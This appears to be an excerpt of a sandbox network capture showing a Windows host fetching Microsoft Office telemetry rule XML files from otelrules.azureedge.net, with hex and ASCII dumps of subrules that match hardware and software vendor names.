2024-11-29 18:49:37 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:38 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: 9832b288-801e-002a-5afe-4131dc000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184938Z-174f78459685726chC1EWRsnbg000000109000000000kwqc x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:38 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.5	49771	13.107.246.63	443	5880	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:38 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:38 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:38 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 390b1506-101e-0017-0101-4247c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184938Z-174f7845968pf68xhC1EWRr4h800000010kg000000009n97 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:38 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
43	192.168.2.5	49773	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:40 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:40 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 48138194-301e-0020-3858-406299000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184940Z-174f78459685m244hC1EWRgp2c000000106g000000006hz7 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:40 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
44	192.168.2.5	49774	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:40 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:40 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 451890cd-001e-0065-1114-410b73000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184940Z-174f7845968psccphC1EWRuz9s00000010pg000000001xgn x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:40 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
45	192.168.2.5	49775	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:40 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:40 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: dc0e6055-901e-005b-2d91-3f2005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184940Z-174f7845968ljs8phC1EWRe6en000000108g000000002esg x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:40 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
46	192.168.2.5	49776	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:40 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:40 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:40 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: c473f14b-c01e-00a2-5a07-412327000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184940Z-174f7845968pght8hC1EWRyvxg00000003bg00000000myp1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:40 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
47	192.168.2.5	49777	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:40 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:41 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:41 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 04edad6e-301e-0052-440b-4265d6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184941Z-174f7845968pf68xhC1EWRr4h800000010n0000000006kt1 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:41 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S T="

Session ID	Source IP	Source Port	Destination IP	Destination Port
48	192.168.2.5	49778	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:42 UTC	192	OUT	GET /rules/rule120644v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:42 GMT Content-Type: text/xml Content-Length: 479 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:37 GMT ETag: "0x8DC582BB7D702D0" x-ms-request-id: 26935917-f01e-0003-011b-414453000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184942Z-174f7845968j6t2phC1EWRcfe800000010fg00000000ag67 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:42 UTC	479	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120644" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
49	192.168.2.5	49779	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:42 UTC	192	OUT	GET /rules/rule120645v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:42 GMT Content-Type: text/xml Content-Length: 425 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:40 GMT ETag: "0x8DC582BBA25094F" x-ms-request-id: d2a0c1bd-101e-0017-761b-4147c7000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184942Z-174f7845968jrjrxhC1EWRmmrs00000010hg0000000039s2 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:42 UTC	425	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 4d 6d 5d 5b 41 61 5d 5b 5a 7a 5d 5b 4f 6f 5d 5b 4e 6e 5d 20 5b 45 65 5d 5b 43 63 5d 32 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120645" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120643" /> <SR T="2" R="([Aa][Mm][Aa][Zz][Oo][Nn] [Ee][Cc]2)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I=

Session ID	Source IP	Source Port	Destination IP	Destination Port
50	192.168.2.5	49780	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:42 UTC	192	OUT	GET /rules/rule120646v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:42 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:42 GMT Content-Type: text/xml Content-Length: 475 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2BE84FD" x-ms-request-id: e4738428-701e-006f-2050-41afc4000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184942Z-174f7845968px8v7hC1EWR08ng00000010m0000000009f63 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:42 UTC	475	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120646" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
51	192.168.2.5	49781	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:42 UTC	192	OUT	GET /rules/rule120647v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:43 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:43 GMT Content-Type: text/xml Content-Length: 448 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB389F49B" x-ms-request-id: e14f358b-d01e-007a-5d7e-3ff38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184942Z-174f7845968nxc96hC1EWRspw80000000zz000000000m3ut x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:43 UTC	448	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 41 61 5d 5b 50 70 5d 5b 41 61 5d 5b 43 63 5d 5b 48 68 5d 5b 45 65 5d 20 5b 53 73 5d 5b 4f 6f 5d 5b 46 66 5d 5b 54 74 5d 5b 57 77 5d 5b 41 61 5d 5b 52 72 5d 5b 45 65 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120647" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120645" /> <SR T="2" R="([Aa][Pp][Aa][Cc][Hh][Ee] [Ss][Oo][Ff][Tt][Ww][Aa][Rr][Ee])"> <S T="1" F="1" M="Ignore" /> </SR>

Session ID	Source IP	Source Port	Destination IP	Destination Port
52	192.168.2.5	49782	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-29 18:49:43 UTC	192	OUT	GET /rules/rule120648v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-29 18:49:43 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 29 Nov 2024 18:49:43 GMT Content-Type: text/xml Content-Length: 491 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:44 GMT ETag: "0x8DC582B98B88612" x-ms-request-id: 7e25aef7-c01e-0049-6a05-41ac27000000 x-ms-version: 2018-03-28 x-azure-ref: 20241129T184943Z-174f7845968ljs8phC1EWRe6en000000106g00000000785s x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-29 18:49:43 UTC	491	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120648" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120647" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" 